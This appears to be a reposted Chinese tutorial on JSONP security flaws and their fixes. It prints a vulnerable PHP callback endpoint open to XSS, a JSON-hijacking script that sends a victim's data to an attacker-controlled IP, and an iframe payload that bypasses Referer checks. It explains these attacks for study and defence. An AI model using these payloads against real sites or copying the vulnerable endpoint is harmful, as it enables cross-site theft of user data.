- JSONP沒有關於錯誤調用的處理,一旦回調函數失敗,瀏覽器就會以靜默失敗的方式處理。
- 只支持GET請求
- 安全性問題
1、Callback可自定義導致的安全問題
Content-type與XSS漏洞
再輸出 JSON 時,沒有嚴格定義好 Content-Type( Content-Type: application/json )然後加上 callback 這個輸出點沒有進行過濾直接導致了一個典型的 XSS 漏洞。例如:
<script>
function test(v){
alert(v.name);
}
</script>
<script src="http://10.59.0.248/1.php?callback=test"></script>
<?php
$callback = $_GET['callback'];
print $callback.'({"id" : "1","name" : "vincent"});';
?>
對於這種漏洞,主要修復手段:
1)嚴格定義 Content-Type: application / json
2)過濾 callback 以及 JSON 數據輸出
針對輸出結果進行轉碼處理,但是需要注意UTF-7 XSS,強制指定 Content-Type裏的編碼 ( Content-Type: application/json; charset=utf-8 )
2、Json劫持
JSON 劫持又爲“ JSON Hijacking ”,這裏其實是屬於CSRF的範疇。攻擊者可以在自己的站點中寫入一條訪問Json的JS,在用戶Cookie未過期的情況下,Json中會返回敏感的用戶信息,然後攻擊者可以獲取到數據,併發送到自己的站點。
回調函數是動態,主要有以下幾類情況:
1)完全可控(GET變量)
回調函數在URL中指定,我們可以完全控制它。
2)部分可控,比如附加動態的數字,每個會話都不同,如果附加的數字比較短,可以遍歷創建回調函數。
3)完全可控,但是沒有顯示在原始請求中
最後一個場景涉及一個顯然沒有回調的API調用,因此沒有可見的JSONP。 這可能發生在開發人員,爲其他軟件或代碼留下隱藏的向後兼容性只是沒有在重構時刪除。 因此,當看到沒有回調的API調用時,特別是如果JSON格式的數據已經在括號之間,手動添加回調到請求。
如果我們有以下API調用http://10.59.0.248/1.php,我們可能會嘗試猜測回調變量:
http://10.59.0.248/1.php?callback=test
http://10.59.0.248/1.php?cb=test
其他的還有func、function、call、jsonp、jsonpcallback等等。
參考案例:
http://www.codesec.net/view/172245.html
敏感數據獲取程序如下:
<script>
function test(data){
//alert(v.name);
var xmlhttp = new XMLHttpRequest();
var url = "http://192.168.192.120/" + JSON.stringify(data);
xmlhttp.open("GET",url,true);
xmlhttp.send();
}
</script>
<script src="http://10.59.0.248/1.php?callback=test"></script>
需要注意的是Content-Type和X-Content-Type-Options頭,如果在API請求的響應標頭中,X-Content-Type-Options設置爲nosniff,則必須將Content-Type設置爲JavaScript(text/javascript,application/javascript,text/ecmascript等)來在所有瀏覽器上生效。 這是因爲通過在響應中包含回調,響應不再是JSON,而是JavaScript。
header("Content-type: application/json;charset=utf-8");
header("X-Content-Type-Options:nosniff");
Refused to execute script from 'http://10.59.0.248/1.php?callback=test' because its MIME type ('application/json') is not executable, and strict MIME type checking is enabled.
常見的修復方案:
1)Referer正則匹配
常見的有Referer匹配正則編寫錯誤導致正則繞過。
另外在很多情況下,開發者在部署過濾 Referer 來源時,忽視了一個空 Referer 的過濾。一般情況下瀏覽器直接訪問某 URL 是不帶 Referer 的,所以很多防禦部署是允許空 Referer 的。
<iframe src=”javascript:'<script>function JSON(o){alert(o.name);}</script><script src=http://10.59.0.248/1.php?callback=JSON></script>'”></iframe>
可以看到請求頭中沒有Referer。
2)添加Token
3)放棄使用Jsonp跨域獲取數據,使用CORS或者PostMessage
原文轉自
http://vinc.top/2017/02/09/jsonp%E5%AF%BC%E8%87%B4%E7%9A%84%E5%AE%89%E5%85%A8%E9%97%AE%E9%A2%98/